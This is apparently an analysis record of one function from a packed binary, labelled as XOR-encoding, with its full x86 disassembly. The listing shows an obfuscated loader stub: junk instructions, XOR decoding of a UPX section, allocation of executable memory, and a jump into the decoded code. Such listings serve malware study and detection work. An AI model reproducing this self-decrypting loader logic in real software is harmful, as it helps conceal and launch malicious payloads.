Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc37c97e1
and esi, esi
mov ecx, 0xf586863c
or esi, ecx
popal
dec esi
sub esi, 0x246368b6
sub esi, 0x8f59a60b
mov edi, 0
mov edx, eax
and esi, ebx
and ebx, esi
mov ecx, edx
sub esi, ebx
add esi, 1
sub esi, 0xd93794be
mov eax, ecx
or esi, ebx
or ebx, ebx
add edi, 1
or ebx, ebx
add esi, 1
cmp edi, 0x1000b22
jne 0xa789ce
inc ebx
sub esi, ebx
mov ecx, 0x176643e2
add esi, 1
and ecx, esi
mov ecx, 0xa78796
sub ebx, 0xfaff1ef7
not edi
mov eax, 0xa7898a
mov edi, 0x8f31f7dc
mov edi, esi
mov ebx, 0x536aa31a
mov edx, dword [ecx]
mov esi, ebx
add esi, 0x518c6aa5
mov edi, 0x203c3a21
and edx, 0xff
sub ebx, 0x65839429
inc esi
add edi, edi
xor dword [eax], edx
add edi, ebx
sub esi, 0xeda47cb2
inc eax
or esi, ebx
sub edi, 0xc4e498d0
inc ecx
inc edi
add ebx, ebx
and esi, esi
cmp eax, entry0
jl 0xa78a32
and ebx, edi
and ebx, edi
not ebx
add esi, 0x6d6f0119
mov ebx, edi
add ecx, 1
sub edi, ecx
add edi, edi
mov ebx, 0xa7898e
dec edx
dec edx
mov ebx, dword [ebx]
mov edx, 0x8aa8047f
mov edi, ecx
mov ebx, dword [ebx]
sub ecx, esi
sub ecx, esi
add ecx, 1
sub esp, 4
mov dword [esp], ebx
add edi, edx
add esi, 0xf031dc1e
sub edx, 1
mov ebx, 0xa7898a
add edx, esi
add edx, edi
sub edi, edx
mov ebx, dword [ebx]
add edi, edx
add edx, 1
or esi, esi
mov ebx, dword [ebx]
or edi, edx
add edi, esi
sub esi, 0xd4143857
push 0xa78992
mov ecx, esi
not ecx
call ebx
add esi, 1
add edx, 0xdfee0cb5
pop ebx
mov ecx, edx
add edi, edx
push 0xa7899f
add ecx, ecx
and edi, edi
add edi, 0xa30a1061
push eax
and edx, esi
mov edi, 0x96fd2f0d
call ebx
or esi, edx
mov esi, 0x7ca6f75e
add ecx, 0x536cdad3
sub esp, 4
mov dword [esp], 0x40
mov ecx, 0x7dad401b
mov edi, 0x6acf79ea
inc edi
sub esp, 4
mov dword [esp], 0x3000
or edx, ecx
mov esi, edi
push 0x2000078e
add ecx, 0x4b15db3f
mov ecx, 0x57e31b1c
push 0
mov ecx, edx
mov edi, 0x3140e28b
call eax
inc edx
sub edi, esi
add eax, 0x200006d4
inc esi
inc ecx
mov ebx, 0x1d97dd33
add ecx, esi
sub esi, edi
mov dword [eax], ebx
add ecx, 0xff23e8a7
mov edi, esi
mov ebx, dword [eax]
inc esi
or edi, esi
cmp ebx, 0x1d97dd33
je 0xa78b95
mov eax, 0
mov byte [eax], dl
inc edi
and edx, edx
sub edi, ecx
add edx, 0x15cc4484
or ecx, esi
sub ecx, esi
sub ecx, 0x190aaa17
mov ebx, section.UPX1
mov esi, 0xc54eb2aa
add ecx, 0x5a33864e
mov eax, 0xa78795
add ecx, 1
mov esi, 0x96cd94e2
and ecx, esi
mov edx, 0
and ecx, ecx
or ecx, esi
mov edi, 0xa78796
not ecx
sub esi, ecx
lea edi, [edi + edx]
add esi, 1
mov ecx, esi
mov edi, dword [edi]
mov esi, ecx
inc esi
sub ecx, 0xf88b5eb8
and edi, 0xff
add esi, 0xab9d7f2e
sub ecx, esi
mov ecx, esi
inc edx
add ecx, esi
sub esi, 0x5ebb2ffd
cmp edx, 0x1f4
jne 0xa78c1a
mov edx, 0
or esi, ecx
sub ecx, 0xbd0a417f
sub ecx, 1
and esi, ecx
xor dword [ebx], edi
or esi, esi
add esi, esi
sub ecx, 0x9a451aab
add ebx, 2
or ecx, ecx
mov esi, 0xf58a6e9c
cmp ebx, eax
jl 0xa78bd5
add esi, ecx
or ecx, ecx
and ecx, ecx
inc esi
add esi, ecx
add ecx, 0xc72b66b0
mov edx, section.UPX1
add eax, eax
add edi, 0xbdaf1d6a
mov esi, section.UPX1
sub eax, 0x1c6256a6
sub edi, 0x6ce0f55e
mov ebx, 0xa78795
mov eax, edi
or edi, edi
mov ecx, 0
sub eax, 0xba698c6b
sub eax, edi
mov cl, byte [esi]
sub eax, edi
sub eax, edi
mov edi, 0x59cfe559
mov byte [edx], cl
sub eax, 0xd1021396
not edi
mov eax, edi
add edx, 1
and eax, edi
add edi, 0x89689aab
add edi, eax
add esi, 2
dec eax
add edi, edi
cmp esi, ebx
jle 0xa78c8e
sub edi, eax
mov eax, edi
not eax
add ecx, 1
mov ecx, 0xab3fcbe6
inc esi
sub esp, 4
mov dword [esp], 0x8dc6a0
and esi, ecx
add ecx, 0x4d55ff51
mov ecx, esi
ret